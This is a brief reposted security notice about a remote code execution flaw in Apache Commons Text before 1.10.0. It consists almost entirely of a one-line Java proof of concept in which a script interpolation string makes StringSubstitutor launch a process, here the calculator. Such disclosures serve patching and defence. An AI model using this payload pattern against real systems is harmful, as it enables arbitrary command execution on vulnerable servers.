Apache Commons Text < 1.10.0 RCE
2022-10-14 12:1:43 Author: Ots安全(查看原文) 阅读量:114 收藏

Apache Commons Text < 1.10.0 RCEStringSubstitutor.createInterpolator().replace("${script:js:new java.lang.ProcessBuilder(\"calc\").start()}");


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247495807&idx=2&sn=1d94bcb76aaa1d7064978ced6ab2c749&chksm=9badb934acda3022365000d9dca099a97fe3293c77ed0d8398effb72cc128e4e17ce14574773#rd
如有侵权请联系:admin#unsafe.sh